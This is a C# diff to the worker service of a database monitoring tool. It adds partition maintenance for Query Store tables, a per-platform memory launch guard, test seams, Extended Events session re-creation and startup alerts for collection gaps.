+           Then create every missing day through today + 3 (the DEFAULT drain is the default) and drop whole expired
+           days (and the legacy table once it is bounded below the cutoff). No ANALYZE here: the daily one is the
+           background task's, because it samples the 91 GB legacy table too on PostgreSQL 16 and 17. Catalog-only, 5 s
+           lock_timeout per DDL, no sleeping. Last in the list and in the Tuning segment, so on the start path it runs
+           BEFORE the collectors and every hour after that, inside this pass's budget: one lock timeout costs an hour,
+           not the 24 h purge's day. One table's failure never stops the other; a failure is thrown after both ran so
+           the pass counts it. Counted as a delta: partitions created or dropped, and an arm, re-arm or promotion. */
+        new("query store interval partitions", StoreObjectConvergenceStage.Tuning, StoreObjectChangeSignal.Delta,
+            async (connection, logger, ct) =>
+            {
+                var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, DateTime.UtcNow, logger, ct);
+                if (pass.Failed > 0)
+                {
+                    throw new InvalidOperationException(
+                        $"{pass.Failed} Query Store interval table(s) failed partition maintenance; each failure is logged above and the next pass retries.");
+                }
+
+                return pass.Changed;
+            }),
     };
 
     /// <summary>What one convergence pass did, accumulated across its segments so the start path's three
@@ -538,6 +568,24 @@ effective width is (ceiling - _gateAbsorbed). _gateDesiredAbsorb is where the kn
     /// <summary>Test seam: replaces the fresh-connection probe that settles a command timeout (#4710).</summary>
     internal Func<ServerRuntime, CancellationToken, Task<bool>>? LivenessProbeOverride { get; set; }
 
+    /// <summary>
+    /// Test seam (#4938): replaces what one collector run does once its permits are held, so a test can block a
+    /// run and watch the scheduling around it with no store and no monitored server. It sits after every limit
+    /// <see cref="RunOneAsync"/> applies, so a limit that is held while the replacement runs is observable. It is
+    /// given the runtime the run is about to work on, which for a daily run is the one read again after its wait
+    /// for a permit, so a test can see which connection a run got. Null in production, which runs the collector
+    /// for real. A negative
+    /// return stands for a run that failed (the real run records its failure and returns 0).
+    /// </summary>
+    internal Func<ServerLoopState, ServerRuntime, string, CancellationToken, Task<int>>? RunOneBodyOverride { get; set; }
+
+    /// <summary>
+    /// Test seam: awaited by <see cref="RecomputeNextDueAsync"/> right after it reads the persisted watermarks for a
+    /// collector, before it writes that collector's schedule, so a test can land a run's record in that window (#5033).
+    /// Null in production.
+    /// </summary>
+    internal Func<ServerLoopState, string, Task>? AfterRecomputeWatermarkReadForTest { get; set; }
+
     /// <summary>
     /// The sweep gate's width right now (#2170) — the ceiling minus what has been absorbed. Reported by the
     /// queued-behind-the-gate diagnostic, which an operator reads while deciding whether to raise the knob,
@@ -622,15 +670,23 @@ internal static SweepEpisodeSignal ClassifySweepEpisode(
     internal const double MemoryGuardFraction = 0.80;
 
     /// <summary>
-    /// The working-set launch guard (#1556): whether the fleet sweep may launch NEW collection bodies this
-    /// tick. Once the process working set crosses <see cref="MemoryGuardFraction"/> of available memory this
-    /// returns false, so the launch loop stops STARTING new bodies and lets the in-flight ones drain — the
-    /// process backs away from the 0→13GB commit-limit blowout instead of piling on more concurrent
+    /// The memory launch guard's threshold rule (#1556): whether the fleet sweep may launch NEW collection bodies
+    /// this pass. Once the process's memory figure crosses <see cref="MemoryGuardFraction"/> of the limit it is
+    /// measured against this returns false, so the launch loop stops STARTING new bodies and lets the in-flight
+    /// ones drain, and the process backs away from memory exhaustion instead of piling on more concurrent
     /// collectors. Purge/disk/analysis/delay keep running (the guard only gates NEW launches). Pure so a unit
-    /// test pins the bands and the constant; the caller passes <c>Process.PrivateMemorySize64</c> (the metric
-    /// that matched the incident — committed private bytes, not the GC heap) and
-    /// <c>GC.GetGCMemoryInfo().TotalAvailableMemoryBytes</c>. A non-positive available figure (an unknown
-    /// budget) never blocks collection.
+    /// test pins the bands and the constant. The caller is <see cref="LaunchMemoryGuard"/>, which chooses the figure
+    /// and the limit per platform, because what each platform kills on differs:
+    /// <list type="bullet">
+    /// <item>Windows: <c>Process.PrivateMemorySize64</c> (committed private bytes, not the GC heap; the metric that
+    /// matched the 13GB commit-limit incident, and the commit charge is what the commit limit kills on) against
+    /// <c>GC.GetGCMemoryInfo().TotalAvailableMemoryBytes</c>.</item>
+    /// <item>Linux: the process's resident memory (<c>VmRSS</c>), not <c>PrivateMemorySize64</c>, which the runtime
+    /// reads as <c>VmData</c> (every private writable mapping, resident or not; #5479 measured 1426MB against 810MB
+    /// resident). The limit is the cgroup memory limit when one is set, else total RAM: the figure the kernel's
+    /// out-of-memory kill compares, not the GC's 75% budget of it.</item>
+    /// </list>
+    /// A non-positive limit (an unknown budget) never blocks collection.
     /// </summary>
     internal static bool ShouldLaunchSweeps(long workingSetBytes, long availableBytes)
     {
@@ -682,6 +738,12 @@ the loop's data source is disposed at RunCollectionLoopAsync scope exit. The pas
     internal static bool ShouldLaunchMaterializationHoleRepair(bool repairRunningInThisProcess, bool epochCurrentInStore)
         => !repairRunningInThisProcess && !epochCurrentInStore;
 
+    /// <summary>#5307: one warning per unknown key under the network sections, naming its full path and never its value.</summary>
+    internal static IReadOnlyList<string> GetUnknownNetworkKeyWarnings(DarlingConfig config) =>
+        config.UnknownNetworkKeys
+            .Select(path => $"darling.json: '{path}' is not a recognized setting and is ignored; check its spelling against darling.sample.json.")
+            .ToList();
+
     /// <summary>
     /// The network-endpoint startup warnings the worker emits AFTER <see cref="DarlingConfig.Validate"/>
     /// passes (darling-network-endpoints) — NEVER inside Validate(), which is all-fatal, so an optional,
@@ -743,6 +805,33 @@ warning that matters here. */
 
     /* Set once by ExecuteAsync before the loop starts; the observability writes need it. */
     private NpgsqlDataSource? _postgres;
+    /* #5366: the service's password key at run time, set once at start; null before it. */
+    private DarlingPasswordKeyRuntime? _passwordKeyRuntime;
+
+    /// <summary>#5479: the clock the fleet pass's overrun check reads; a test sets it to age a running pass without waiting.</summary>
+    internal Func<DateTime> SelfAlertPassClock { get; set; } = static () => DateTime.UtcNow;
+
+    /// <summary>#5479: lets a live test give the fleet pass the production self-alert evaluator that ExecuteAsync builds.</summary>
+    internal DarlingSelfAlertEvaluator? SelfAlertsForTests
+    {
+        set => _selfAlerts = value;
+    }
+
+    /// <summary>#5378: lets a live test give a worker the store ExecuteAsync would, so a run's row can be read back.</summary>
+    internal NpgsqlDataSource? StoreForTests
+    {
+        set => _postgres = value;
+    }
+
+    /// <summary>
+    /// #4961: this install's id, the eight characters that tell its Extended Events sessions from another install's on
+    /// a server both monitor. Made (or read back) once at start, after the store's migrations and before any worker,
+    /// so everything a worker starts sees it set; null only before that point.
+    /// </summary>
+    private string? _installId;
+
+    /// <summary>The install id (#4961), for the code that names this install's sessions on a monitored server.</summary>
+    internal string? CurrentInstallId => _installId;
 
     /// <summary>
     /// #4535: the plan analyzer's per-rule config (darling.json's optional "analyzer" section), set
@@ -762,7 +851,7 @@ finally around the same call — the Periodic pass's "no repair running in this
        shutdown drain that awaits the start-path launch (holeRepair, above) also awaits this one — before
        this field existed the Periodic launch was fired with a bare "_ = ", neither drained on shutdown nor
        observed for a fault, so an exception it threw after the calling tick returned would go unlogged. */
-    private Task? _periodicHoleRepair;
+    private volatile Task? _periodicHoleRepair;
 
     /* #2138 phase 1: the auto force-plan bot, constructed by RunCollectionLoopAsync alongside the
        analysis pieces. Null until then. It holds no executor and this build ships none, so its whole
@@ -860,7 +949,7 @@ private sealed class AnalysisPassState
     /* #4732: the fleet collection gate's counts over the last hour (slots run, slots skipped, queue waits), the
        cadence the worker reads them on, and when it writes their log line. Nullable because a test that builds a
        worker without running its constructor never sets it, and the recording sites tolerate that. */
-    private readonly FleetGateStats? _fleetGateStats = new(static () => DateTime.UtcNow);
+    private readonly FleetGateStats? _fleetGateStats;
     private readonly FleetGateLogCadence? _fleetGateLog = new();
     private DateTime _nextFleetGateCheckUtc = DateTime.MinValue;
 
@@ -869,6 +958,20 @@ private sealed class AnalysisPassState
        where it records its slot, so the count only covers slots that came due while the loop was running. */
     private readonly SkipCreditFloor _skipCreditFloor = new();
 
+    /// <summary>Test hook (#4938): the schedule overrides every collector's schedule resolves from, which a test sets to
+    /// give a collector a run time without a store.</summary>
+    internal IReadOnlyList<ScheduleOverride> ScheduleOverridesForTest
+    {
+        get => _scheduleOverrides;
+        set => _scheduleOverrides = value;
+    }
+
+    /// <summary>Test hook (#4938): the floor the pass reads to decide whether a skipped slot counts.</summary>
+    internal SkipCreditFloor SkipCreditFloorForTest => _skipCreditFloor;
+
+    /// <summary>Test hook (#4938): the fleet gate's slot counts.</summary>
+    internal FleetGateStats? FleetGateStatsForTest => _fleetGateStats;
+
     /* Next due time for the managed store-settings self-alert (#4215). Fleet-level (a managed
        store's settings are a store-wide concept), so a single field like the stale-mute cadence above. */
     private DateTime _nextStoreSettingsCheckUtc = DateTime.MinValue;
@@ -893,6 +996,19 @@ private sealed class AnalysisPassState
        a best-effort errand and there is nothing in it that a later hour cannot do. */
     private Task? _oversizedPlanSweep;
 
+    /* #5479: the in-flight per-server self-alert pass (Collection Stopped and the other store-polled self-alerts, and the
+       custom-alert rules), fire-and-tracked from the sweep loop whether or not any collection body launches. One at a
+       time: a pass still running at the next tick makes that tick skip, so a server is never evaluated by two threads. */
+    private Task? _selfAlertPass;
+
+    /* Set when the running pass has outrun the 30 s server cadence and a tick has said so, cleared when the next pass
+       starts: one Warning per pass, not one per 15-second tick. */
+    private bool _selfAlertPassOverranWarned;
+
+    /* When the in-flight pass started, read by the skipping tick to tell a pass that is merely past one tick from one
+       that has outrun the cadence. Written and read on the sweep loop's thread only. */
+    private DateTime _selfAlertPassStartedUtc;
+
     /* #4130: the in-flight daily retention purge, fire-and-tracked like the per-server sweeps and the
        oversized-plan backlog above rather than awaited inline. Measured at 346-400s deleting ~839k rows;
        awaited on this loop, that is 346-400s in which NO server's sweep body launches and the whole fleet
@@ -905,6 +1021,9 @@ over. Tracked (not fire-and-forget) so the launch loop can see it is still runni
        set from two threads (the launch loop for the daily purge, the command loop for purge_now), so the
        check-then-set in both launchers holds _purgeTaskLock. */
     private Task? _purgeTask;
+
+    /// <summary>Test hook (#5592): whether the purge slot is held by a pass that has not completed.</summary>
+    internal bool PurgeSlotBusyForTest { get { lock (_purgeTaskLock) { return _purgeTask is { IsCompleted: false }; } } }
     private readonly object _purgeTaskLock = new();
 
     /* MinValue = the first sweep after startup evaluates the compression-job self-heal check (#1581), then
@@ -922,6 +1041,12 @@ the store's job health now — and the confirm-read inside ReadStuckPolicyJobsAs
        failure-isolated tenants. */
     private DateTime _nextCompressionCheckUtc = DateTime.MinValue;
 
+    /* #4970: the in-flight hourly store-maintenance tick. Only the launch loop writes it. */
+    private Task? _storeMaintenanceTick;
+
+    /* #4970: the in-flight hourly store self-metrics tick. Only the launch loop writes it. */
+    private Task? _storeMetricsTick;
+
     /* MinValue = the first loop pass after startup runs the fleet sweep (#3466 lane 2), then on the
        operator-configured cadence (fleet_sweep_interval_minutes, default hourly, clamped by
        FleetSweepEngine.ClampIntervalMinutes). Fleet-level by definition — a sweep is one statement about
@@ -954,11 +1079,20 @@ nothing is lost but the slot. */
     /* #4004 review, round 3: "the log-hash key was replaced at start", held for the first pg_log_events run. */
     private readonly LogHashKeyRotationNote _logHashKeyRotation = new();
 
-    /* Fleet-level working-set launch-guard latch (#1556): true once ShouldLaunchSweeps has tripped this
-       episode, so its CRITICAL log is emitted ONCE rather than every sweep (the WarnedThisEpisode idiom —
-       but fleet-wide: the guard is about the whole process's working set, so it is a single worker field,
-       NOT a per-ServerLoopState flag). Cleared when the working set recovers below the threshold. */
-    private bool _memoryGuardTrippedThisEpisode;
+    /* The fleet-level memory launch guard (#1556, #5479): one per process, the whole process's memory rather than
+       a per-server state, so it is a single worker field and not a ServerLoopState flag. It owns the trip, the
+       garbage collection that releases it, the hold warnings and the release (see LaunchMemoryGuard). The setter
+       is the seam a test uses to make the guard hold: hand it a guard whose sampler reads over the line. */
+    private LaunchMemoryGuard _launchMemoryGuard;
+
+    /// <summary>The memory launch guard the collection loop asks once per pass. A test replaces it, before the loop
+    /// starts, with a guard built over a sampler that reads over the line, to make the guard hold with no real
+    /// memory pressure.</summary>
+    internal LaunchMemoryGuard LaunchGuard
+    {
+        get => _launchMemoryGuard;
+        set => _launchMemoryGuard = value ?? throw new ArgumentNullException(nameof(value));
+    }
 
     /* The store's TimescaleDB availability: seeded by the start-path detection and RE-PROBED on the hourly
        store-maintenance tick for as long as it reads false (#3815). What it records is whether a detection
@@ -970,7 +1104,7 @@ nothing is lost but the slot. */
        re-decided hourly rather than at startup only. Every consumer reads it at call time — the retention
        purge's drop_chunks branch, the self-metrics sweep's hypertable arm, the two provider delegates — so a
        flip mid-run is picked up by each of them on its next pass with no further wiring. */
-    private bool _timescaleAvailable;
+    private volatile bool _timescaleAvailable;
 
     /* #4659: the one fence the collector runner's Query Store COPY and the alert read adapter's saved
        forced-plan failure answer share. */
@@ -1000,6 +1134,7 @@ flip mid-run is picked up by each of them on its next pass with no further wirin
        none), and 42501, a login without the log read. get_store_log already reports the gap on the read
        surface, so the hourly Warning only repeated what nobody was going to change. */
     private bool _storeLogCaptureUnavailableWarned;
+    private bool _storeStatementHistoryWarned;
 
     /* Stage 4 service self-alerts (collection-stopped, connection lost/restored, capture-down). Built
        once in RunCollectionLoopAsync over the SAME deliverer/history the shared engine uses, so the
@@ -1011,6 +1146,13 @@ edge fires from TryConnectAsync and the reconcile drops per-server state through
        inside the gap policy's hour cannot subtract the new identity's counters from the old one's. Built
        and seeded once in RunCollectionLoopAsync, ahead of the runner that shares it. */
     private CollectorDeltaCalculator? _deltas;
+
+    /* The collector runner, kept for the reconcile, which clears a changed server's RDS endpoint verdicts on it. */
+    private DarlingCollectorRunner? _runner;
+
+    /* #5518: the Query Store backfill, held so a removed server's cached database list can be dropped with it. */
+    private QueryStoreBackfill? _queryStoreBackfill;
+
     /* Concrete rather than IAlertDeliverer: there is exactly one implementation here and it is constructed
        a few lines from where this is assigned, so the interface bought an indirection per delivered alert
        and no seam (CA1859). */
@@ -1141,6 +1283,12 @@ without a restart. */
     /// each sweep so the certificate-expiry self-alert fires without a restart.</summary>
     private readonly WebTlsCertificateState _webTlsCertState;
 
+    /// <summary>#5288: the MCP endpoint's served TLS certificate, published by the MCP host and read in the same
+    /// sweep as <see cref="_webTlsCertState"/>, so the "MCP TLS Certificate Expiring" self-alert fires without a
+    /// restart. Null when the worker is built without it (a test harness, never the service): the MCP half of the
+    /// sweep is then skipped, exactly as if the MCP host never published a certificate.</summary>
+    private readonly McpTlsCertificateState? _mcpTlsCertState;
+
     /* #2298: the live monitored-server registry seam — published beside the two above, read by the MCP
        host's plan-fetch resolver so it never re-reads config_monitored_servers as the mcp role (whose
        encrypted_password SELECT-carve fails that whole read). */
@@ -1254,8 +1402,13 @@ record into — the DI container hands this worker and the web host the SAME sin
        recorded by either side is drained by this worker's hourly flush. */
     private readonly ReadLatencyAccumulator _readLatency;
 
-    public DarlingWorker(ILogger<DarlingWorker> logger, ILoggerFactory loggerFactory, McpRuntimeState mcpState, WebRuntimeState webState, MonitoredServerRegistryState registryState, CollectorRuntimeState collectorState, WebTlsCertificateState webTlsCertState, BaselineCache baselineCache, ReadLatencyAccumulator readLatency)
+    /* #5097: the slow-read record's queue; its one writer runs from the startup path once the store is migrated. */
+    private readonly SlowReadLog? _slowReads;
+
+    public DarlingWorker(ILogger<DarlingWorker> logger, ILoggerFactory loggerFactory, McpRuntimeState mcpState, WebRuntimeState webState, MonitoredServerRegistryState registryState, CollectorRuntimeState collectorState, WebTlsCertificateState webTlsCertState, BaselineCache baselineCache, ReadLatencyAccumulator readLatency, SlowReadLog? slowReads = null, McpTlsCertificateState? mcpTlsCertState = null)
     {
+        _slowReads = slowReads;
+        _mcpTlsCertState = mcpTlsCertState;
         _logger = logger;
         _loggerFactory = loggerFactory;
         _mcpState = mcpState;
@@ -1265,9 +1418,89 @@ public DarlingWorker(ILogger<DarlingWorker> logger, ILoggerFactory loggerFactory
         _webTlsCertState = webTlsCertState;
         _baselineCache = baselineCache;
         _readLatency = readLatency;
+        _launchMemoryGuard = LaunchMemoryGuard.CreateDefault(logger);
+
+        /* #5597: the gate's counts read the floor's monotonic uptime when each slot is recorded, so which slots the alert leaves out
+           is decided then, not by the wall-clock minute they were stamped in. */
+        _fleetGateStats = new FleetGateStats(static () => DateTime.UtcNow, () => _skipCreditFloor.Uptime);
+
+        /* #5592: the retention drain's "is collection behind" read, built from the fleet gate's own counts. */
+        _collectionPressure = new CollectionPressure(_fleetGateStats);
+    }
+
+    /* #5592: the retention drain's pressure read (see CollectionPressure). */
+    private readonly CollectionPressure _collectionPressure;
+
+    /// <summary>Test hook (#5592): the pressure read the retention drain takes.</summary>
+    internal CollectionPressure CollectionPressureForTest => _collectionPressure;
+
+    /// <summary>
+    /// #4938: what one daily collector's run-time stamp was computed from, kept beside the stamp in
+    /// <see cref="ServerLoopState.NextDue"/>. A reload that finds the same run time and the same clock leaves the stamp
+    /// alone; a different run time or clock computes the slot again. <see cref="LastRunUtc"/> is when the collector last
+    /// ran (the persisted last-run mark at connect, the hand-off time after that), the input the slot is computed from.
+    /// </summary>
+    internal sealed record RunTimeSlot(int RunAtMinute, int IntervalMinutes, string ClockId, DateTime? LastRunUtc);
+
+    /// <summary>
+    /// #4938: a server's wall clock as the worker holds it: the clock itself and an identity that changes when the server's
+    /// own clock changes (its zone, or its fixed offset), so a slot is computed again only when the clock did change. The
+    /// identity is the clock's zone id, which a fixed offset and UTC also have; a daylight-saving step inside one zone
+    /// does not change it, because the zone already follows that step.
+    /// </summary>
+    internal sealed class ServerClockStamp
+    {
+        public ServerClockStamp(ServerClock clock)
+        {
+            ArgumentNullException.ThrowIfNull(clock);
+            Clock = clock;
+            Id = clock.AsTimeZone().Id;
+            ToUtc = clock.ToUtc;
+        }
+
+        /// <summary>UTC: what a server has until its first <c>server_properties</c> or <c>pg_server_config</c> row is read.</summary>
+        public static ServerClockStamp Utc { get; } = new(ServerClock.Utc);
+
+        public ServerClock Clock { get; }
+
+        public string Id { get; }
+
+        /// <summary>The server-local to UTC conversion the run-time rules take.</summary>
+        public Func<DateTime, DateTime> ToUtc { get; }
+    }
+
+    /// <summary>#4938: the run time and the clock a collector's slot is computed with.</summary>
+    internal readonly record struct RunTimeRule(int RunAtMinute, int ServerId, Func<DateTime, DateTime> LocalToUtc);
+
+    /// <summary>#4938: what the server pass does with a collector that has a run time.</summary>
+    internal enum RunTimeAction
+    {
+        /// <summary>Its slot has not come: leave it.</summary>
+        NotDue,
+
+        /// <summary>Its slot is here, inside the grace: hand it off.</summary>
+        HandOff,
+
+        /// <summary>Its slot is behind it by more than the grace: skip that day, hand nothing off.</summary>
+        SkipDay,
+    }
+
+    /// <summary>#4938: one decision of <see cref="DarlingWorker.StepRunTimeCollector"/>: the action, the stamp to write, and the
+    /// skipped slots to record (1 for a day the sweep loop lost while it was running, else 0).</summary>
+    internal readonly record struct RunTimeStep(RunTimeAction Action, DateTime NextDue, long Skipped);
+
+    /// <summary>#4938: what a hand-off of a collector that has a run time carries to the run: the slot as it stands and the
+    /// next stamp. The run records them, and counts the slot as served, only once it has taken its (server, collector) slot.</summary>
+    internal sealed record RunTimeHandOff(RunTimeSlot Slot, DateTime NextDue);
+
+    /// <summary>#4938: whether one collector run succeeded, for a caller that must know (the at-connect run of an on-load
+    /// collector). A zero-row run is a success; a run that failed, or never started, is not.</summary>
+    internal sealed class RunOutcome
+    {
+        public bool Succeeded { get; set; }
     }
 
-    private sealed class ServerLoopState
+    internal sealed class ServerLoopState
     {
         /* Settable so the reconcile can replace a still-connected server's definition on a config
            change (host/auth/excluded-dbs/cost) — paired with dropping Runtime to force a reconnect. */
@@ -1280,6 +1513,37 @@ private sealed class ServerLoopState
            keys (never enumerated), so a lock-free concurrent map is a drop-in and eliminates the one structure
            the old strict single-threaded invariant (INV-1) existed to protect from tearing. */
         public ConcurrentDictionary<string, DateTime> NextDue { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* #4938: what a daily collector's run-time stamp in NextDue was computed from: the run time, the clock and the
+           last run. One entry per collector that has a run time on this server, replaced whole (the record is
+           immutable) so a reader never sees half of an update. Indexed by collector name only, like NextDue. */
+        public ConcurrentDictionary<string, RunTimeSlot> RunTimeSlots { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* #5033: held only around an in-memory read-modify-write of NextDue and RunTimeSlots together, so the run's
+           record, a reload's recompute and the pass's seeds never leave the two maps describing different slots.
+           Never held across an await (the C# compiler refuses an await inside a lock block). */
+        public object ScheduleLock { get; } = new();
+
+        /* #5479: the held-slot watermarks, one per collector, while the memory launch guard holds collection off. Read and
+           written ONLY by the sweep loop's own thread (CountHeldSlots), so a plain map is enough. */
+        public Dictionary<string, HeldSlotMark> HeldSlotMarks { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /// <summary>#5597: the UTC ticks at which the connect body finished seeding this server's collector due stamps (0 =
+        /// never). The stamps are seeded from a clock read before the body's on-load snapshots, so a slot that came due
+        /// while that body ran could not have run; the slot count starts at this instant
+        /// (<see cref="SkipCreditFloor.Skipped(DateTime, DateTime, TimeSpan, DateTime)"/>).</summary>
+        public long SeedFinishedTicks;
+
+        private ServerClockStamp _clock = ServerClockStamp.Utc;
+
+        /// <summary>#4938: this server's wall clock as last read from the store: UTC until a clock is read. Held per
+        /// server so a run-time collector's slot is computed from memory, never from a query on a tick.</summary>
+        public ServerClockStamp Clock
+        {
+            get => Volatile.Read(ref _clock);
+            set => Volatile.Write(ref _clock, value);
+        }
+
         public DateTime NextConnectAttempt { get; set; } = DateTime.MinValue;
 
         /* #4710: failed connect attempts in a row, so the retry delay grows (ServerConnectBackoff) while a
@@ -1444,18 +1708,114 @@ LongQueryTracePartialNote is set when the Azure reconcile succeeded in some data
            refused in others: the run's read of the survivors is real and stays SUCCESS, and this - the
            #2623 partial note naming the refused databases - is merged onto its row so the row cannot pass
            for a server that is quiet. It persists while LongQueryTraceApplied is latched true, because the
-           refused databases are not retried until the next (re)connect resets the latch; the note is a
-           standing claim about the sessions as they were last reconciled, which is also what it says.
+           refused databases are retried only by the hourly create pass (LongQueryTraceAppliedAtUtc) or the
+           next (re)connect; the note is a standing claim about the sessions as they were last reconciled,
+           which is also what it says.
 
            Both reset with the latch on every (re)connect, and both written only by the per-server body on
            the pool thread (INV-2), like the latch itself. */
-        public string? LongQueryTraceFault { get; set; }
+        public string? LongQueryTraceFault
+        {
+            get => _longQueryTraceFault;
+            set
+            {
+                _longQueryTraceFault = value;
+                if (value is null)
+                {
+                    LongQueryTraceFaultIsPermission = false;
+                }
+            }
+        }
+
+        private string? _longQueryTraceFault;
+
+        /* #5378: the kept fault above is a permission denial (the login lacks ALTER ANY EVENT SESSION, error 15247 and its
+           kin), so the run records PERMISSIONS rather than SESSION_MISSING, and the reconcile does not repeat the create DDL
+           on every sweep. Cleared with the fault. */
+        public bool LongQueryTraceFaultIsPermission { get; set; }
 
         public string? LongQueryTracePartialNote { get; set; }
+
+        /* The state key the last applied reconcile ran under (LongQueryTraceDatabases.StateKey). On Azure SQL
+           Database the trace's databases depend on the #3477 scope, the exclusions and the databases monitored
+           as their own servers, so a change to any of them re-runs the reconcile. Null on every other engine.
+           Reset with the latch on every (re)connect. */
+        public string? LongQueryTraceAppliedKey { get; set; }
+
+        /* When the last reconcile that created the session ran. While the trace is on and latched, the create side
+           runs again once this is LongQueryTraceDatabases.RetryInterval old, so a session dropped from outside
+           comes back: the read returns no rows for an absent session, the same as for a quiet one. Reset with the
+           latch on every (re)connect. */
+        public DateTime? LongQueryTraceAppliedAtUtc { get; set; }
+
+        /* Failed cleanup passes in a row, for LongQueryTraceDatabases.DropAttemptCap, and the clock for the hourly
+           attempts after the cap. Reset on every (re)connect. */
+        public LongQueryTraceDropRetry LongQueryTraceDropRetry { get; } = new();
+
+        /* #4964: true once a pass that was creating the trace's session has logged its failure at Warning, until a pass
+           succeeds or the server reconnects. The create side retries on every sweep, on purpose: each attempt records the
+           fault again, so collection health reads SESSION_MISSING. What changes is the log level of the repeats, from Warning
+           to Debug. A pass while the trace is off neither reads it nor sets it, because the drop side has its own cap
+           (LongQueryTraceDropRetry). Reset on every (re)connect. */
+        public bool LongQueryTraceCreateWarned { get; set; }
+
+        /* #4961: when the always-on deadlock and blocked-process sessions were last ensured on this server: at connect, then
+           once an hour (AlwaysOnXeSessions.EnsureInterval), so a session dropped from outside comes back within the hour. Null
+           means due. Reset on every (re)connect, where the connect path ensures and stamps it again. */
+        public DateTime? XeSessionsEnsuredAtUtc { get; set; }
+
+        /* #4964: the collectors that have already logged their missing-session line at Warning on this server (the long-query,
+           deadlock and blocked-process collectors raise it). Their runs fail on every sweep, on purpose: each one records
+           SESSION_MISSING again, so collection health reads it. What changes is the level of the repeated line, from Warning to
+           Debug, until a run of that collector succeeds. In memory, so a restart warns again. */
+        public XeSessionMissingWarnings XeSessionMissingWarnings { get; } = new();
+
+        /* #4961: the long-query latch and its hourly create clock, cleared when a collector run sees the instance's
+           identity move (ForgetLongQueryTraceLatchOnRestart), so the next sweep runs the whole reconcile. Not the fault,
+           the partial note or the retry count: the reconcile that follows replaces them. */
+        internal void ForgetLongQueryTraceLatch()
+        {
+            LongQueryTraceApplied = null;
+            LongQueryTraceAppliedKey = null;
+            LongQueryTraceAppliedAtUtc = null;
+
+            /* #4961: and the always-on sessions' clock, so the next sweep ensures them as well: an instance restart can leave
+               them stopped or gone, and the hour is not waited out. */
+            XeSessionsEnsuredAtUtc = null;
+        }
+    }
+
+    /// <summary>
+    /// The hourly ensure of the always-on deadlock and blocked-process sessions (#4961). The connect path ensures them and
+    /// stamps <see cref="ServerLoopState.XeSessionsEnsuredAtUtc"/>; the sweep calls this, and the ensure runs again once the
+    /// stamp is <see cref="AlwaysOnXeSessions.EnsureInterval"/> old. On-premises, Managed Instance and RDS that creates a
+    /// missing server-scoped session and starts a stopped one, under the shared names as ever. On Azure SQL Database it also
+    /// carries the per-database choice (shared or own session) and its switch back. A server that is not SQL Server has no
+    /// Extended Events and is left alone.
+    /// </summary>
+    internal static async Task EnsureAlwaysOnXeSessionsAsync(
+        ServerLoopState server, DarlingCollectorRunner runner, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        /* #4961: a retired server's ensure would create the sessions its removal has just dropped. */
+        if (server.Runtime is null
+            || server.Retired
+            || server.Runtime.Target.Engine != CollectorTargetEngine.SqlServer
+            || !AlwaysOnXeSessions.EnsureIsDue(server.XeSessionsEnsuredAtUtc, utcNow))
+        {
+            return;
+        }
+
+        /* Stamped before the ensure, so a server that refuses it is asked once an hour and not on every sweep. */
+        server.XeSessionsEnsuredAtUtc = utcNow;
+        await DarlingXeSessions.EnsureAllAsync(server.Runtime, runner, logger, cancellationToken);
     }
 
     protected override async Task ExecuteAsync(CancellationToken stoppingToken)
     {
+        _executeStartedUtc = DateTime.UtcNow;
+        /* #5477: build the statement filter's first-call costs off the startup path, so the first alert with a
+           large report does not pay them. Never throws, logs nothing. */
+        _ = PerformanceMonitor.Alerting.AlertStatementFilter.WarmUpAsync();
         /* #2185: an install directory the service account cannot read is diagnosed HERE — first, ahead of
            reading darling.json, and a long way ahead of the managed-Postgres bootstrap. Order is the whole
            point. Every message the reporter saw was downstream of this one: an unreadable tree takes out
@@ -1617,6 +1977,13 @@ the value this process applies rather than a constant (the MCP host publishes it
             _logger.LogWarning("{Warning}", warning);
         }
 
+        /* #5307: a key under web.network / mcp.network (or their tls blocks, or web.network.oidc) that no config
+           class declares is dropped at load; name each one so a mistyped key is visible. Paths only. */
+        foreach (var warning in GetUnknownNetworkKeyWarnings(config))
+        {
+            _logger.LogWarning("{Warning}", warning);
+        }
+
         /* #4220: web.publicBaseUrl shaped like it carries a credential (a query string, fragment, or
            userinfo — e.g. the dashboard's own sign-in link pasted in by mistake). Ruled: sending the link is
            the operator's call, not refused here; one warning at startup is the whole mitigation. */
@@ -1931,6 +2298,48 @@ runnable commands so an elevated human can finish the job the service cannot —
         }
     }
 
+    /* #5450: captured at the very top of ExecuteAsync, before any store work; the fallback when the process
+       start time cannot be read. */
+    private DateTime _executeStartedUtc = DateTime.UtcNow;
+
+    /// <summary>The service PROCESS start in UTC, so migrations and a runtime upgrade are not counted as downtime.</summary>
+    private DateTime ProcessStartUtc()
+    {
+        try
+        {
+            using var process = Process.GetCurrentProcess();
+            return process.StartTime.ToUniversalTime();
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return _executeStartedUtc;
+        }
+    }
+
+    /// <summary>
+    /// Reads the newest pre-start collection time (#5450) and pairs it with the process start. Null for a store with no
+    /// collection rows (a first install) or when the read fails.
+    /// </summary>
+    internal async Task<DarlingSelfAlertEvaluator.CollectionGapReport?> ReadCollectionGapAsync(
+        NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var command = new NpgsqlCommand(DarlingSelfAlertEvaluator.NewestCollectionTimeSql, connection);
+            command.CommandTimeout = 30;
+            var value = await command.ExecuteScalarAsync(cancellationToken);
+            return value is DateTime last
+                ? new DarlingSelfAlertEvaluator.CollectionGapReport(
+                    DateTime.SpecifyKind(last, DateTimeKind.Utc), ProcessStartUtc())
+                : null;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("Could not read the newest collection time at start ({Message}); the start-up gap alert is skipped.", ex.Message);
+            return null;
+        }
+    }
+
     /// <summary>
     /// Maps the Windows-only bootstrap's upgrade outcome to the platform-neutral alert payload (#1706).
     /// Null for the ordinary case where the runtime did not move, and null for an extension-only update,
@@ -1977,30 +2386,32 @@ success arm's warning once had. */
         };
 
     /// <summary>
-    /// Maps the web host's published TLS-certificate snapshot to the report the evaluator consumes (#3514):
+    /// Maps a listener host's published TLS-certificate snapshot (the web host's, #3514, or the MCP host's,
+    /// #5288, which share one snapshot type) to the report the evaluator consumes (#3514):
